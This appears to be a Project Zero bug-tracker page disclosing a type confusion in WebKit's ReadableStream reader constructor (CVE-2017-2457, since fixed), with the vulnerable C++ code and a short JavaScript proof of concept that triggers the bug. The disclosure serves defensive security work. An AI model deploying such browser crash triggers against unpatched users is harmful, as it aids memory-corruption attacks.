New issue
Advanced search Search tips
Starred by 2 users
Status: Fixed
Owner:
Closed: Mar 2017
Cc:



Sign in to add a comment
WebKit: Type confusion in constructJSReadableStreamDefaultReader
Project Member Reported by lokihardt@google.com, Jan 17 2017 Back to list
EncodedJSValue JSC_HOST_CALL constructJSReadableStreamDefaultReader(ExecState& exec)
{
    VM& vm = exec.vm();
    auto scope = DECLARE_THROW_SCOPE(vm);

    JSReadableStream* stream = jsDynamicDowncast<JSReadableStream*>(exec.argument(0));
    if (!stream)
        return throwArgumentTypeError(exec, scope, 0, "stream", "ReadableStreamReader", nullptr, "ReadableStream");

    JSValue jsFunction = stream->get(&exec, Identifier::fromString(&exec, "getReader")); <<--- 1

    CallData callData;
    CallType callType = getCallData(jsFunction, callData);
    MarkedArgumentBuffer noArguments;
    return JSValue::encode(call(&exec, jsFunction, callType, callData, stream, noArguments));
}

It doesn't check whether |getReader| is callable or not.

PoC:

let rs = new ReadableStream();
let cons = rs.getReader().constructor;

rs.getReader = 0x12345;
new cons(rs);

Tested on Webkit Nightly 10.0.2(12602.3.12.0.1, r210800)


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 
Project Member Comment 1 by lokihardt@google.com, Jan 17 2017
Project Member Comment 2 by lokihardt@google.com, Mar 27 2017
Labels: CVE-2017-2457
Status: Fixed
Project Member Comment 3 by lokihardt@google.com, Apr 3 2017
Labels: -Restrict-View-Commit
Sign in to add a comment